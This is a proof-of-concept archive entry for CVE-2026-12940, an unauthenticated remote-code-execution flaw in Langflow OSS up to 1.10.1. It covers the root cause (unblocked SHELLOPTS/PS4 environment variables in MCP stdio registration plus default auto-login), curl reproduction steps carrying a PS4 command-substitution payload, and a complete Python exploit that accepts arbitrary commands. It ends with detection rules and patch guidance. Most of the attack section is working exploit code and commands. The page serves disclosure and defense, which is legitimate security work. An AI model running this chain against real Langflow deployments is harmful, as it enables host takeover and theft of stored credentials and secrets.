PoC Archive PoC Archive
CVE-2026-12940 category: web CVSS 9.8 (CRITICAL)
Patched

Langflow OSS MCP stdio Environment-Variable Injection to Unauthenticated RCE (CVE-2026-12940)

Published: 2026-11-27 • Researcher: Caio Fabrício (BiiTts), upstream PoC author; CVE assigned by IBM as CNA

Target software Langflow OSS (langflow-ai/langflow), MCP stdio server registration and launcher
Affected versions 1.0.0 through 1.10.1. Fixed in 1.10.2 (NVD range: start including 1.0.0, end excluding 1.10.2).
Status Weaponized (upstream demonstrates end-to-end command execution with captured evidence; not re-executed during archival)
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-12940
Category
web
Affected product
Langflow OSS (langflow-ai/langflow), MCP stdio server registration and launcher
Affected versions
1.0.0 through 1.10.1. Fixed in 1.10.2 (NVD range: start including 1.0.0, end excluding 1.10.2).
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-08-03
Author / ResearcherCaio Fabrício (BiiTts), upstream PoC author; CVE assigned by IBM as CNA
CVE / AdvisoryCVE-2026-12940
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, IBM CNA / NVD)
StatusWeaponized (upstream demonstrates end-to-end command execution with captured evidence; not re-executed during archival)
Tagslangflow, mcp, stdio, environment-variable-injection, shellopts, ps4, bash, command-injection, unauthenticated, rce, cwe-78
RelatedN/A

Affected Target

FieldValue
Software / SystemLangflow OSS (langflow-ai/langflow), MCP stdio server registration and launcher
Versions Affected1.0.0 through 1.10.1. Fixed in 1.10.2 (NVD range: start including 1.0.0, end excluding 1.10.2).
Language / PlatformPython (FastAPI backend) with a bash-based MCP stdio launcher; Linux containers
Authentication RequiredNo on a default deployment, because auto-login is enabled and mints a superuser token. A valid token or API key is required when auto-login is disabled.
Network Access RequiredYes, HTTP access to the Langflow API (default port 7860 on the reference image)

Summary

Langflow OSS 1.0.0 through 1.10.1 permits unauthenticated remote code execution through environment variables accepted during MCP stdio server registration. The registration validator checks environment variable names against a blocklist that omits SHELLOPTS, BASHOPTS and PS4, and it never inspects the values. The MCP launcher then runs the configured command in a bash child process with the attacker-supplied environment, so setting SHELLOPTS to xtrace and putting a command substitution in PS4 executes that command before the first traced statement. On the default 1.10.1 image auto-login issues a superuser token without credentials, which makes the full chain reachable by any network client.

Vulnerability Details

Root Cause

Langflow exposes MCP stdio server registration at POST /api/v2/mcp/servers/{name}. The request body is parsed into MCPServerConfig in src/backend/base/langflow/api/v2/schemas.py, whose validators constrain the command to an allowlist, reject shell metacharacters and dangerous keywords in args, and reject dangerous environment variable keys. Two gaps combine:

  1. The env validator in 1.10.1 iterates over the dictionary keys only. Values are passed through verbatim, so a PS4 value containing command substitution is accepted even though the same characters would be rejected in args.
  2. The DANGEROUS_ENV_VARS blocklist in 1.10.1 does not contain shellopts, bashopts or ps4. It covers loader and interpreter variables such as LD_PRELOAD, PATH, NODE_OPTIONS, PYTHONPATH and BASH_ENV, but not these bash shell-control variables.

The sink is MCPStdioClient._connect_to_server in src/lfx/src/lfx/base/mcp/util.py. The attacker-supplied env dictionary is merged into env_data and passed to StdioServerParameters, which runs the command through bash -c. When SHELLOPTS contains xtrace, bash enables set -x at startup, and bash expands the PS4 prompt before executing the first traced line. Because PS4 undergoes parameter expansion and command substitution, a value such as $(id) executes immediately, independently of the command and args that the allowlist approved. The configured MCP command does not even need to be valid for the payload to run.

The 1.10.2 fix centralizes the blocklist as DANGEROUS_MCP_ENV_VARS, adds shellopts, bashopts, ps4 and env, and routes validation through is_dangerous_mcp_env_var. The env value is still not sanitized in the fix; the specific keys are simply blocked.

Attack Vector

An unauthenticated HTTP client on a default 1.10.1 deployment performs three requests:

  1. GET /api/v1/auto_login returns a superuser bearer token without credentials.
  2. POST /api/v2/mcp/servers/{name} with a JSON body whose command is an allowlisted value such as uvx, whose args contain no metacharacters, and whose env contains SHELLOPTS set to xtrace and PS4 set to a command substitution.
  3. GET /api/v2/mcp/servers?action_count=true makes the backend enumerate configured servers, which instantiates MCPStdioClient and spawns bash -c with the injected environment.

Where authentication is enforced, any authenticated user holding a valid token or API key can perform the same steps.

Impact

Arbitrary command execution as the Langflow service account. An attacker can read every flow, credential and secret stored in the Langflow database, reach internal services and cloud metadata endpoints, modify or exfiltrate application data, and use the host as a pivot into the surrounding network. The upstream evidence shows execution as uid 1000 in the container with group 0, plus an out-of-band callback carrying the real hostname and kernel of the target.

Environment / Lab Setup

Output
OS:          Linux host with Docker (upstream tested from a Kali host)
Target:      langflowai/langflow:1.10.1 container, host networking,
             listening on http://127.0.0.1:7860 with default configuration
Attacker:    Python 3.9+ (standard library only: argparse, json, urllib)
Tools:       docker, python3, curl, optional netcat listener for OOB verification

Setup Steps

The upstream lab uses the stock image with no weakened settings. Langflow 1.10.1 ships with auto-login enabled, which is what removes the authentication bar. The reference environment has no usable Docker bridge, so the container uses host networking:

Shell script
1
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1

A patched comparison instance can be started with langflowai/langflow:1.10.2. The upstream notes that the 1.10.2 image additionally requires credentials to start, which is unrelated hardening, and that the same registration then returns HTTP 422.

The exploit itself has no third-party Python dependencies.

Proof of Concept

Step-by-Step Reproduction

  1. Obtain a token without credentials - confirm that the default deployment mints a superuser token through auto-login.

    Shell script
    1
    2
    
    curl -s http://127.0.0.1:7860/api/v1/auto_login
    # returns {"access_token":"...","refresh_token":"...","token_type":"bearer"}
  2. Register the malicious MCP server - command and args pass the allowlist, and the payload rides in an env value under an unblocked key.

    Shell script
    1
    2
    3
    4
    5
    6
    7
    8
    
    TOKEN='<access_token from step 1>'
    curl -s -o /dev/null -w '%{http_code}\n' \
      -X POST "http://127.0.0.1:7860/api/v2/mcp/servers/pwn" \
      -H "Authorization: Bearer $TOKEN" \
      -H 'Content-Type: application/json' \
      -d '{"command":"uvx","args":["mcp-server-fetch"],
           "env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}'
    # expected 200; a control request using LD_PRELOAD returns 422
  3. Trigger the launcher - enumerating servers with action_count=true forces the backend to spawn bash -c with the injected environment.

    Shell script
    1
    2
    3
    
    curl -s -o /dev/null -w '%{http_code}\n' \
      -H "Authorization: Bearer $TOKEN" \
      "http://127.0.0.1:7860/api/v2/mcp/servers?action_count=true"
  4. Verify execution - read the file written by the PS4 command substitution from the container.

    Shell script
    1
    2
    
    docker exec lf-12940 cat /tmp/proof
    # uid=1000(user) gid=0(root) groups=0(root)
  5. Alternative confirmation - use the –ps4 option of the bundled script to send a raw primitive such as an out-of-band TCP callback. The upstream transcript records a callback carrying the target hostname and kernel.

Exploit Code

See exploit.py in this folder. Upstream notes are in upstream-README.md and the source walkthrough is in upstream-ANALYSIS.md. The lab compose file is lab/docker-compose.yml.

Python
1
2
3
4
5
6
7
config = {
    "command": "uvx",
    "args": ["mcp-server-fetch"],
    "env": {"SHELLOPTS": "xtrace", "PS4": "$(id > /tmp/proof 2>&1)"},
}
req("POST", base + "/api/v2/mcp/servers/" + name, token, config)
req("GET", base + "/api/v2/mcp/servers?action_count=true", token)

The full script also handles token acquisition through /api/v1/auto_login, accepts a caller-supplied token for authenticated instances, and exposes –cmd and –ps4 for command selection or raw primitives.

Expected Output

Output
1
2
3
4
5
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user
uid=1000(user) gid=0(root) groups=0(root)

On 1.10.2 the registration is rejected before the launcher is reached:

Output
1
2
HTTP 422
"Environment variable 'SHELLOPTS' is not allowed for security reasons"

Detection & Indicators of Compromise

Look for MCP server registration requests whose env object carries shell-control keys, particularly SHELLOPTS, BASHOPTS or PS4, followed by an enumeration request with action_count=true. On the host, look for bash -c children of the Langflow or gunicorn worker process, especially ones whose parent process is Langflow and whose command line begins with exec. Also look for unexpected files written by the service account and outbound TCP connections originating from the Langflow process.

Output
POST /api/v2/mcp/servers/*   body contains "SHELLOPTS", "BASHOPTS" or "PS4"
GET  /api/v2/mcp/servers?action_count=true   shortly after a registration

bash -c "exec <command> || echo 'Command failed with exit code $?' >&2"
  parent: langflow / gunicorn worker

HTTP 200 on registration for env keys that should be rejected
HTTP 422 with "Environment variable '...' is not allowed" on patched versions

SIEM / IDS Rule (example):

YAML
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
  selection:
    Image|endswith: '/bash'
    CommandLine|contains: 'exec '
    ParentImage|contains: 'langflow'
  env_marker:
    CommandLine|contains:
      - 'SHELLOPTS'
      - 'PS4=$('
  condition: selection or env_marker
level: high

Remediation

ActionDetail
PatchUpgrade Langflow OSS to 1.10.2 or later. The fix adds shellopts, bashopts, ps4 and env to the centralized DANGEROUS_MCP_ENV_VARS blocklist and rejects them at registration.
WorkaroundDo not enable auto-login on reachable instances; require explicit superuser credentials and restrict the API to trusted networks. Where MCP stdio servers are not needed, disable the feature.
Config HardeningRun Langflow under a dedicated low-privilege account with no unnecessary outbound egress, keep the service off untrusted networks, monitor MCP server registrations, and audit registered servers for unexpected env entries.

References

Notes

Auto-prepared on 2026-11-27 from the public repository BiiTts/CVE-2026-12940-Langflow-Unauth-RCE. Review verdict: genuine exploit code that implements and demonstrates the vulnerability, not a detector, scanner or version audit. The script performs the full chain (auto-login token, malicious MCP registration, launcher trigger) and the upstream repository includes a captured transcript showing real id output and an independent out-of-band callback. The archive did not execute the exploit; the expected output above is quoted from the upstream evidence.

Limitations: the unauthenticated claim depends on auto-login being enabled, which is the default on the 1.10.1 image but not guaranteed on hardened deployments; the RCE itself still applies to any authenticated user with a valid token. The exploit only runs command substitutions through bash, so non-bash targets or environments that sanitize PS4/SHELLOPTS are not affected. The analysis notes that the 1.10.2 fix blocks the specific keys but still does not sanitize env values.

The upstream file EVIDENCE.txt was not copied because it contains live-looking JWT bearer tokens from the lab; the transcript is summarized above and remains available at the upstream repository. The upstream repository has no separate LICENSE file, but exploit.py declares MIT and README.md credits Caio Fabrício (BiiTts), so the code is archived with attribution for research use only and all other rights remain with the author. The most recent upstream commit is dated 2026-08-03.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/BiiTts/CVE-2026-12940-Langflow-Unauth-RCE
# Original author: Caio Fabricio (BiiTts). Upstream declares MIT in this file.
# WARNING: Use only against systems you own or have explicit written permission
# to test. Do not run against third-party or production systems.
"""
CVE-2026-12940 - Langflow OSS <= 1.10.1 unauthenticated RCE.

Environment-variable injection in the MCP stdio launcher. The DANGEROUS_ENV_VARS
blocklist that guards the /api/v2/mcp/servers env dictionary omits SHELLOPTS,
BASHOPTS and PS4. The launcher runs the configured command through

    bash -c "exec <command> || echo 'Command failed...' >&2"

with the attacker-supplied env applied to the process. Setting

    SHELLOPTS=xtrace
    PS4=$(<command>)

makes bash expand PS4 before executing the first traced line, so the command
substitution inside PS4 runs regardless of the command/args allowlist.

On a default deployment GET /api/v1/auto_login mints a superuser token without
any credentials (AUTO_LOGIN defaults on), so the whole chain is unauthenticated.

Author: Caio Fabricio (BiiTts)
License: MIT
"""
import argparse
import json
import sys
import urllib.request
import urllib.error
import uuid


def _req(method, url, token=None, body=None, timeout=120):
    data = json.dumps(body).encode() if body is not None else None
    r = urllib.request.Request(url, data=data, method=method)
    r.add_header("Content-Type", "application/json")
    if token:
        r.add_header("Authorization", "Bearer " + token)
    try:
        with urllib.request.urlopen(r, timeout=timeout) as resp:
            return resp.status, resp.read().decode(errors="replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="replace")


def get_token(base, token):
    if token:
        return token
    status, body = _req("GET", base + "/api/v1/auto_login")
    if status != 200:
        sys.exit(
            "[-] auto_login returned HTTP %d - instance is not in AUTO_LOGIN mode; "
            "supply a token with --token" % status
        )
    try:
        tok = json.loads(body)["access_token"]
    except Exception:
        sys.exit("[-] could not parse auto_login response")
    print("[+] obtained superuser token via /api/v1/auto_login (no credentials)")
    return tok


def run(base, token, ps4):
    base = base.rstrip("/")
    token = get_token(base, token)
    name = "s" + uuid.uuid4().hex[:8]

    config = {
        "command": "uvx",
        "args": ["mcp-server-fetch"],
        "env": {"SHELLOPTS": "xtrace", "PS4": ps4},
    }

    status, body = _req("POST", base + "/api/v2/mcp/servers/" + name, token, config)
    if status != 200:
        sys.exit("[-] server registration failed (HTTP %d): %s" % (status, body[:300]))
    print("[+] registered MCP server '%s' with SHELLOPTS/PS4 payload (HTTP 200)" % name)

    # action_count=true forces the backend to launch each configured server,
    # which is what spawns `bash -c` with our env applied.
    status, body = _req(
        "GET", base + "/api/v2/mcp/servers?action_count=true", token
    )
    print("[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP %d)" % status)
    print("[+] payload PS4 executed on the server as the Langflow process user")
    return name


def main():
    p = argparse.ArgumentParser(description="CVE-2026-12940 Langflow unauth RCE PoC")
    p.add_argument("-u", "--url", default="http://127.0.0.1:7860",
                   help="Langflow base URL (default: %(default)s)")
    p.add_argument("-t", "--token", default=None,
                   help="bearer token / API key (skip auto_login when instance requires auth)")
    g = p.add_mutually_exclusive_group()
    g.add_argument("-c", "--cmd", default="id",
                   help="shell command to execute on the target (default: id)")
    g.add_argument("--ps4", default=None,
                   help="raw PS4 value, overrides --cmd for custom primitives")
    args = p.parse_args()

    ps4 = args.ps4 if args.ps4 is not None else "$(%s)" % args.cmd
    print("[*] target : %s" % args.url)
    print("[*] PS4    : %s" % ps4)
    run(args.url, args.token, ps4)


if __name__ == "__main__":
    main()